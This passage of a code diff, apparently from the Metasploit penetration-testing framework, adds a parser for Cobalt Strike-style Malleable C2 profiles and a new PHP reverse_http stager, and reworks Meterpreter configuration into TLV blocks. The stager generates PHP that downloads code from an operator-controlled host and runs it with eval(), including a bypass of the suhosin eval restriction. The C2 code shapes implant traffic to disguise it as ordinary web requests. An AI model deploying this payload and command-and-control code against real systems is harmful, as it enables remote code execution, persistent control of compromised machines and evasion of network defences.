http_get.get_set('uri') + } + self.get_section('http-post') {|http_post| + post_uri = http_post.get_set('uri') + } + + # A `set uri` value may list several space-separated candidate URIs + # (Cobalt Strike picks one at random per request). Split them out so + # the handler registers a mount for each candidate, otherwise the + # literal "uri-a uri-b" string is registered as a single unmatchable + # resource. + [base_uri, get_uri, post_uri].compact.flat_map {|u| u.split(/\s+/) }.reject(&:empty?).uniq + end + + def wrap_outbound_get(raw_bytes) + prepends = self.http_get&.server&.output&.prepend || [] + prefix = prepends.map {|p| p.args[0]}.join('') + appends = self.http_get&.server&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + + # do any encoding necessary + if raw_bytes.length > 0 + if self.http_get&.server&.output&.has_directive('base64') + raw_bytes = Rex::Text.encode_base64(raw_bytes) + elsif self.http_get&.server&.output&.has_directive('base64url') + raw_bytes = Rex::Text.encode_base64url(raw_bytes) + end + end + + result = prefix + raw_bytes + suffix + + result + end + + def unwrap_inbound_post(raw_bytes) + prepends = self.http_post&.client&.output&.prepend || [] + prefix = prepends.map {|p| p.args[0]}.join('') + if !prefix.empty? && raw_bytes.start_with?(prefix) + raw_bytes = raw_bytes[prefix.length, raw_bytes.length] + end + + appends = self.http_post&.client&.output&.append || [] + suffix = appends.map {|p| p.args[0]}.join('') + if !suffix.empty? && raw_bytes.end_with?(suffix) + raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] + end + + # do any decoding necessary + if raw_bytes.length > 0 + if self.http_post&.client&.output&.has_directive('base64') + raw_bytes = Rex::Text.decode_base64(raw_bytes) + elsif self.http_post&.client&.output&.has_directive('base64url') + raw_bytes = Rex::Text.decode_base64url(raw_bytes) + end + end + raw_bytes + end + + def to_tlv + tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) + + self.get_set('useragent') {|ua| tlv.add_tlv(MET::TLV_TYPE_C2_UA, ua)} + c2_uri = self.get_set('uri') + + self.get_section('http-get') {|http_get| + tlv.tlvs << build_get_tlv(http_get, c2_uri) + } + + self.get_section('http-post') {|http_post| + tlv.tlvs << build_post_tlv(http_post, c2_uri) + } + + tlv + end + + private + + def build_get_tlv(http_get, c2_uri) + get_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_GET) + get_uri = http_get.get_set('uri') || c2_uri + http_get.get_section('client') {|client| + self.add_http_tlv(get_uri, client, get_tlv) + add_skip_tlvs(get_tlv, self.http_get&.server&.output) + add_inbound_encoding_tlv(get_tlv, self.http_get&.server&.output) + + client.get_section('metadata') {|meta| + add_uuid_transform_tlvs(get_tlv, meta) + add_uuid_tlvs(get_tlv, meta) + } + } + get_tlv + end + + def build_post_tlv(http_post, c2_uri) + post_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2_POST) + post_uri = http_post.get_set('uri') || c2_uri + http_post.get_section('client') {|client| + self.add_http_tlv(post_uri, client, post_tlv) + add_skip_tlvs(post_tlv, self.http_post&.server&.output) + add_inbound_encoding_tlv(post_tlv, self.http_post&.server&.output) + + client.get_section('output') {|client_output| + add_outbound_encoding_tlv(post_tlv, client_output) + add_prepend_append_tlvs(post_tlv, client_output, MET::TLV_TYPE_C2_PREFIX, MET::TLV_TYPE_C2_SUFFIX) + } + + client.get_section('id') {|client_id| + add_uuid_transform_tlvs(post_tlv, client_id) + add_uuid_tlvs(post_tlv, client_id) + } + } + post_tlv + end + + def add_skip_tlvs(group_tlv, server_output) + prepends = server_output&.prepend || [] + prefix_len = prepends.map {|p| p.args[0].length}.sum + group_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = server_output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + group_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 + end + + def encoding_flags_for(section) + return MET::C2_ENCODING_NONE if section.nil? + return MET::C2_ENCODING_B64 if section.has_directive('base64') + return MET::C2_ENCODING_B64URL if section.has_directive('base64url') + MET::C2_ENCODING_NONE + end + + # Client->server body/metadata encoding (request) + def add_outbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_OUTBOUND, enc) if enc != MET::C2_ENCODING_NONE + end + + # Server->client body encoding (response) + def add_inbound_encoding_tlv(group_tlv, section) + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_INBOUND, enc) if enc != MET::C2_ENCODING_NONE + end + + # UUID placement encoding + prepend/append wrappers. Section is + # `client.metadata` (GET) or `client.id` (POST). + def add_uuid_transform_tlvs(group_tlv, section) + return if section.nil? + + enc = encoding_flags_for(section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_UUID, enc) if enc != MET::C2_ENCODING_NONE + add_prepend_append_tlvs(group_tlv, section, MET::TLV_TYPE_C2_UUID_PREFIX, MET::TLV_TYPE_C2_UUID_SUFFIX) + end + + # Concatenate every `prepend`/`append` directive in `section` and emit + # them as the given prefix/suffix TLVs (skipping empty strings). + def add_prepend_append_tlvs(group_tlv, section, prefix_type, suffix_type) + prepend_data = section.get_directive('prepend').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(prefix_type, prepend_data) unless prepend_data.empty? + append_data = section.get_directive('append').map{|d|d.args[0]}.join("") + group_tlv.add_tlv(suffix_type, append_data) unless append_data.empty? + end + + def add_uuid_tlvs(group_tlv, section) + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, section.get_directive('parameter')[0].args[0]) if section.has_directive('parameter') + group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, section.get_directive('header')[0].args[0]) if section.has_directive('header') + end + + def add_http_tlv(base_uri, section, group_tlv) + section.get_set('useragent') {|v| group_tlv.add_tlv(MET::TLV_TYPE_C2_UA, v)} + + self.add_uri(base_uri, section, group_tlv) + self.add_header(section, group_tlv) + end + + def add_header(section, group_tlv) + headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n") + group_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, headers) unless headers.empty? + headers + end + + def add_uri(base_uri, section, group_tlv) + query_string = section.get_directive('parameter').map {|dir| "#{dir.args[0]}=#{URI.encode_uri_component(dir.args[1])}" }.join("&") + + # `set uri` may carry a space-separated list of candidate URIs. Emit + # one TLV_TYPE_C2_URI per candidate so the client can pick one at + # random; an empty/absent uri collapses to a single empty candidate + # to preserve the prior (query-string-only) behaviour. + candidates = (base_uri || "").split(/\s+/).reject(&:empty?) + candidates = [""] if candidates.empty? + + emitted = [] + candidates.each do |candidate| + uri = candidate.dup + unless query_string.empty? + uri << "?" + uri << query_string + end + next if uri.empty? + group_tlv.add_tlv(MET::TLV_TYPE_C2_URI, uri) + emitted << uri + end + emitted + end + end + + class ParsedSet + attr_accessor :key, :value + def initialize(key, value) + @key = key.downcase + @value = MC2.from_c2_string_value(value) + end + end + + class ParsedSection + attr_accessor :name, :entries, :sections + def initialize(name) + @name = name.downcase + @entries = [] + @sections = [] + end + + def method_missing(name, *args) + name = name.to_s.gsub('_', '-') + get_section(name) || get_directive(name) || get_set(name) + end + + def get_set(key) + val = @entries.find {|s| s.kind_of?(ParsedSet) && s.key == key.downcase}&.value + if block_given? && !val.nil? + yield(val) + end + val + end + + def get_directive(type) + # there can be multiple instances of the same directive type so we have + # to return an array instead of a single instance + @entries.find_all {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase} + end + + def has_directive(type) + @entries.any? {|d| d.kind_of?(ParsedDirective) && d.type == type.downcase} + end + + def get_section(name) + sec = @sections.find {|s| s.name == name.downcase} + if block_given? && !sec.nil? + yield(sec) + end + sec + end + end + + class ParsedDirective + attr_accessor :type, :args + def initialize(type, args) + @type = type.downcase + @args = args.map {|a| MC2.from_c2_string_value(a)} + end + end + + class Parser + attr_reader :lexer + + def initialize + @lexer = nil + end + + def parse(file) + @lexer = Lexer.new(file) + @index = 0 + profile = ParsedProfile.new + + while current_token + if match_keyword('set') + profile.sets << parse_set + elsif block_ahead? + # Any `name { ... }` is a block. We keep the ones we understand + # (http-get/http-post/etc.) and harmlessly retain the rest -- + # unsupported CS blocks like dns-beacon/process-inject/post-ex + # are parsed for structure and simply ignored by to_tlv. + profile.sections << parse_section + elsif name_token? + # A stray top-level directive we don't model. Consume it (up to + # its `;`) and move on rather than failing the whole profile. + parse_directive + else + raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}" + end + end + + #@lexer = nil + profile + end + + def parse_set + expect_keyword('set') + key = expect([:identifier, :keyword]).value + value = expect(:string).value + expect_symbol(';') + ParsedSet.new(key, value) + end + + def parse_section + name = expect_name.value + expect_symbol('{') + section = ParsedSection.new(name) + + while !match_symbol('}') && current_token + if match_keyword('set') + section.entries << parse_set + elsif block_ahead? + section.sections << parse_section + elsif name_token? + section.entries << parse_directive + else + raise "Unexpected content in block #{name}: #{current_token.value}" + end + end + + expect_symbol('}') + section + end + + def parse_directive + type = expect_name.value + args = [] + while current_token && !match_symbol(';') + if [:string, :identifier, :keyword].include?(current_token.type) + args << current_token.value + next_token + else + break + end + end + expect_symbol(';') + ParsedDirective.new(type, args) + end + + def current_token + @lexer.tokens[@index] + end + + def peek_token(offset = 1) + @lexer.tokens[@index + offset] + end + + def next_token + @index += 1 + current_token + end + + # A bare name that can head a block, directive or set key. Block + # detection no longer depends on a keyword whitelist, so profiles can + # carry CS blocks we don't model (dns-beacon, process-inject, ...) + # without breaking the parse. + def name_token? + t = current_token + !t.nil? && (t.type == :identifier || t.type == :keyword) + end + + # True when the current token names a block, i.e. it's followed by `{`. + def block_ahead? + return false unless name_token? + nt = peek_token(1) + !nt.nil? && nt.type == :symbol && nt.value == '{' + end + + def expect_name + expect([:identifier, :keyword]) + end + + def expect(types) + token = current_token + types = [types] unless types.kind_of?(Array) + raise "Expected #{types.inspect}, got #{token&.type}=#{token&.value}" unless token && types.include?(token.type) + next_token + token + end + + def expect_keyword(word) + token = current_token + raise "Expected keyword '#{word}', got #{token&.value}" unless token && token.type == :keyword && token.value == word + next_token + token + end + + def expect_symbol(symbol) + token = current_token + raise "Expected symbol '#{symbol}', got #{token&.value}" unless token && token.type == :symbol && token.value == symbol + next_token + token + end + + def match_keyword(word) + token = current_token + token && token.type == :keyword && token.value == word + end + + def match_symbol(symbol) + token = current_token + token && token.type == :symbol && token.value == symbol + end + end + +end diff --git a/lib/msf/core/payload/php/reverse_http.rb b/lib/msf/core/payload/php/reverse_http.rb new file mode 100644 index 0000000000000..dba085b642187 --- /dev/null +++ b/lib/msf/core/payload/php/reverse_http.rb @@ -0,0 +1,128 @@ +# -*- coding: binary -*- + +module Msf + +module Payload::Php::ReverseHttp + + include Msf::Payload::UUID::Options + + def initialize(info = {}) + super(info) + register_advanced_options( + Msf::Opt::http_header_options + + Msf::Opt::http_proxy_options + ) + deregister_options('HttpProxyType') + end + + # + # Generate the first stage + # + def generate(opts = {}) + opts[:scheme] = 'http' if opts[:scheme].nil? + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << luri + target_url << generate_callback_uri(opts) + target_url + end + + # + # Return the longest URI that fits into our available space + # + def generate_callback_uri(opts = {}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + + if self.available_space.nil? || dynamic_size? || required_space > self.available_space + uri_req_len = 30 + end + + uuid = generate_payload_uuid(arch: ARCH_PHP, platform: 'php') + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_php, uri_req_len, uuid: uuid) + end + + def generate_reverse_http(opts = {}) + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'], + }) + + callback_url = generate_callback_url(opts) + scheme = opts[:scheme] + + php = %Q^/* array( + 'method' => 'GET', + 'timeout' => 30, + 'header' => "User-Agent: #{ds['HttpUserAgent'] || 'Mozilla/5.0'}\\r\\n", + 'ignore_errors' => true, +)); +^ + + if scheme == 'https' + php << %Q^$opts['ssl'] = array( + 'verify_peer' => false, + 'verify_peer_name' => false, + 'allow_self_signed' => true, +); +^ + end + + proxy_host = ds['HttpProxyHost'] + if proxy_host.to_s != '' + proxy_port = ds['HttpProxyPort'] || 8080 + php << %Q^$opts['#{scheme}']['proxy'] = 'tcp://#{proxy_host}:#{proxy_port}'; +$opts['#{scheme}']['request_fulluri'] = true; +^ + end + + php << %Q^$ctx = stream_context_create($opts); +$b = file_get_contents($url, false, $ctx); +if ($b === false) { die(); } +if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) +{ + $suhosin_bypass = create_function('', $b); + $suhosin_bypass(); +} +else +{ + eval($b); +} +die();^ + + php.gsub!(/#.*$/, '') + Rex::Text.compress(php) + end + + def transport_config(opts = {}) + transport_config_reverse_http(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = cached_size + space += 100 + space += 256 + space + end +end + +end diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 0f3d7f1602ed7..5bff75788fc1c 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -49,98 +49,59 @@ def stage_payload(opts={}) Rex::Text.encode_base64(Rex::Text.zlib_deflate(stage_meterpreter(opts))) end + def generate_config(opts={}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'py', + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + # Get the raw Python Meterpreter stage and patch in values based on the # configuration - # - # @param opts [Hash] The options to use for patching the stage data. - # @option opts [String] :http_proxy_host The host to use as a proxy for - # HTTP(S) transports. - # @option opts [String] :http_proxy_port The port to use when a proxy host is - # set for HTTP(S) transports. - # @option opts [String] :url The HTTP(S) URL to patch in to - # allow use of the stage as a stageless payload. - # @option opts [String] :http_user_agent The value to use for the User-Agent - # header for HTTP(S) transports. - # @option opts [String] :stageless_tcp_socket_setup Python code to execute to - # setup a tcp socket to allow use of the stage as a stageless payload. - # @option opts [String] :uuid A specific UUID to use for sessions created by - # this stage. def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') - var_escape = lambda { |txt| - txt.gsub('\\', '\\' * 8).gsub('\'', %q(\\\\\\\')) - } - - if ds['MeterpreterDebugBuild'] - met.sub!(%q|DEBUGGING = False|, %q|DEBUGGING = True|) - - logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(ds['MeterpreterDebugLogging']) - met.sub!(%q|DEBUGGING_LOG_FILE_PATH = None|, %Q|DEBUGGING_LOG_FILE_PATH = "#{logging_options[:rpath]}"|) if logging_options[:rpath] - end - unless ds['MeterpreterTryToFork'] met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False') end met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader) - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") - - uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - - if opts[:stageless] == true - session_guid = '00' * 16 - else - session_guid = SecureRandom.uuid.gsub('-', '') - end - met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") - - http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] - http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] - http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] - http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] - http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] - http_header_host = opts[:header_host] || ds['HttpHostHeader'] - http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] - http_header_referer = opts[:header_referer] || ds['HttpReferer'] - - # The callback URL can be different to the one that we're receiving from the interface - # so we need to generate it - # TODO: move this to somewhere more common so that it can be used across payload types + # Build the URI from the callback URL if present unless opts[:url].to_s == '' - - # Build the callback URL (TODO: share this logic with TransportConfig - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" opts[:scheme] ||= opts[:url].to_s.split(':')[0] - scheme, lhost, lport = transport_uri_components(opts) - callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" - - # patch in the various payload related configuration - met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") - met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' - met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' - met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' - met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' - - if http_proxy_host.to_s != '' - http_proxy_url = "http://" - unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' - http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" - end - http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) - http_proxy_url << ":#{http_proxy_port}" - - met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") - end + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" end + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? offset_string = "" diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index a2acc8a229ef0..2dd7943a591a1 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -96,6 +96,7 @@ def transport_config_reverse_http(opts={}) host: ds['HttpHostHeader'], cookie: ds['HttpCookie'], referer: ds['HttpReferer'], + c2_profile: opts[:c2_profile], custom_headers: get_custom_headers(ds) }.merge(timeout_config(opts)) end diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 89f4e011ec4b7..247129b1f2ef8 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -81,13 +81,15 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x86.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index d4cc5c4bbaa19..f6c2e2a22242d 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -84,14 +84,16 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x64.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 6c503af916d8a..582258aef7bab 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -1,18 +1,18 @@ # -*- coding: binary -*- require 'rex/socket/x509_certificate' require 'rex/post/meterpreter/extension_mapper' +require 'rex/post/meterpreter/packet' +require 'msf/core/payload/malleable_c2' +require 'rex/payloads/meterpreter/uri_checksum' require 'securerandom' + class Rex::Payloads::Meterpreter::Config + include Msf::Payload::UUID::Options include Msf::ReflectiveDLLLoader + include Rex::Payloads::Meterpreter::UriChecksum - URL_SIZE = 512 - UA_SIZE = 256 - PROXY_HOST_SIZE = 128 - PROXY_USER_SIZE = 64 - PROXY_PASS_SIZE = 64 - CERT_HASH_SIZE = 20 - LOG_PATH_SIZE = 260 # https://docs.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=cmd + MET = Rex::Post::Meterpreter def initialize(opts={}) @opts = opts @@ -49,7 +49,7 @@ def to_ascii(item, size) item.to_s.ljust(size, "\x00") end - def session_block(opts) + def add_session_tlv(tlv, opts) uuid = opts[:uuid].to_raw exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]] @@ -60,118 +60,125 @@ def session_block(opts) else session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*') end - session_data = [ - 0, # comms socket, patched in by the stager - exit_func, # exit function identifier - opts[:expiration], # Session expiry - uuid, # the UUID - session_guid, # the Session GUID - ] - pack_string = 'QVVA*A*' - if opts[:debug_build] - session_data << to_str(opts[:log_path] || '', LOG_PATH_SIZE) # Path to log file on remote target - pack_string << 'A*' + + tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) if exit_func + tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) + tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) + tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) + + if opts[:debug_build] && opts[:log_path] + tlv.add_tlv(MET::TLV_TYPE_DEBUG_LOG, opts[:log_path]) end - session_data.pack(pack_string) + if opts[:flags] && opts[:flags] != 0 + tlv.add_tlv(MET::TLV_TYPE_SESSION_FLAGS, opts[:flags]) + end end - def transport_block(opts) - # Build the URL from the given parameters, and pad it out to the - # correct size + def add_c2_tlv(tlv, opts) lhost = opts[:lhost] if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost) lhost = "[#{lhost}]" end - url = "#{opts[:scheme]}://#{lhost}" - url << ":#{opts[:lport]}" if opts[:lport] - url << "#{opts[:uri]}/" if opts[:uri] - url << "?#{opts[:scope_id]}" if opts[:scope_id] - - # if the transport URI is for a HTTP payload we need to add a stack - # of other stuff - pack = 'A*VVV' - transport_data = [ - to_str(url, URL_SIZE), # transport URL - opts[:comm_timeout], # communications timeout - opts[:retry_total], # retry total time - opts[:retry_wait] # retry wait time - ] - - if url.start_with?('http') - proxy_host = '' - if opts[:proxy_host] && opts[:proxy_port] - prefix = 'http://' - prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' - proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - end - proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE) - proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE) - proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE) - ua = to_str(opts[:ua] || '', UA_SIZE) - - cert_hash = "\x00" * CERT_HASH_SIZE - cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash] - - custom_headers = opts[:custom_headers] || '' - custom_headers = to_str(custom_headers, custom_headers.length + 1) - - # add the HTTP specific stuff - transport_data << proxy_host # Proxy host name - transport_data << proxy_user # Proxy user name - transport_data << proxy_pass # Proxy password - transport_data << ua # HTTP user agent - transport_data << cert_hash # SSL cert hash for verification - transport_data << custom_headers # any custom headers that the client needs - - # update the packing spec - pack << 'A*A*A*A*A*A*' + unless (opts[:c2_profile] || '').empty? + parser = Msf::Payload::MalleableC2::Parser.new + profile = parser.parse(opts[:c2_profile]) + c2_tlv = profile.to_tlv + else + c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) end - # return the packed transport information - transport_data.pack(pack) - end + # Fall back to the datastore UA when the profile didn't `set useragent` + # (or there's no profile at all). + unless (opts[:ua] || '').empty? || c2_tlv.tlvs.any? { |t| t.type == MET::TLV_TYPE_C2_UA } + c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) + end - def extension_block(ext_name, file_extension, debug_build: false) - ext_name = ext_name.strip.downcase - ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", - file_extension, debug: debug_build)) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) + + # Only build a C2 URL when we actually have a host. Staged payloads + # inherit the stager's socket and carry no host; guard so a nil lhost + # cannot reach Rex::Socket.to_authority (which requires a String). + if lhost && !lhost.to_s.empty? + url = "#{opts[:scheme]}://#{Rex::Socket.to_authority(lhost, opts[:lport])}" + url << "/#{opts[:uri].delete_prefix('/').delete_suffix('/')}/" if opts[:uri] + url << "?#{opts[:scope_id]}" if opts[:scope_id] + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_URL, url) + + # if the transport URI is for a HTTP payload we need to add a stack + # of other stuff that can only be set in MSF, not in the C2 profile + if url.start_with?('http') + proxy_url = '' + if opts[:proxy_host] && opts[:proxy_port] + prefix = 'http://' + prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' + proxy_url = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" + end + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_URL, proxy_url) unless (proxy_url || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) unless (opts[:proxy_user] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) unless (opts[:proxy_pass] || '').empty? + + c2_tlv.add_tlv(MET::TLV_TYPE_C2_CERT_HASH, opts[:ssl_cert_hash]) unless (opts[:ssl_cert_hash] || '').empty? + c2_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, opts[:custom_headers]) unless (opts[:custom_headers] || '').empty? + end + end - [ ext.length, ext ].pack('VA*') + tlv.tlvs << c2_tlv end - def extension_init_block(name, value) - ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name) - - # for now, we're going to blindly assume that the value is a path to a file - # which contains the data that gets passed to the extension - content = ::File.read(value, mode: 'rb') + "\x00\x00" - data = [ - ext_id, - content.length, - content - ] + def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) + ext_name = ext_name.strip.downcase + # Windows DLLs go through Reflective DLL Injection prep; mettle bins + # come per-platform from the mettle gem; jar/py/php ship as-is. + case file_extension.to_s + when /\.dll$/ + ext_path = MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", + file_extension, debug: debug_build) + ext, _ = load_rdi_dll(ext_path) + when 'bin' + begin + ext = MetasploitPayloads::Mettle.load_extension(@opts[:mettle_platform], ext_name, 'bin') + rescue MetasploitPayloads::Mettle::NotFoundError + # Mettle bakes some extensions (e.g. stdapi) directly into the + # binary, so there's no separate .bin to ship. Silently + # skip and let the runtime use whatever's already registered. + $stderr.puts("[!] EXTENSIONS=#{ext_name}: no separate '#{ext_name}.bin' for #{@opts[:mettle_platform]} (already built in?), skipping") + return + end + else + ext = MetasploitPayloads.read('meterpreter', "ext_server_#{ext_name}.#{file_extension}".downcase) + end - data.pack('VVA*') + ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION) + ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext) + unless (ext_init_path || '').empty? + ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(ext_name) + init_data = ::File.read(ext_init_path, mode: 'rb') + ext_tlv.add_tlv(MET::TLV_TYPE_STRING, 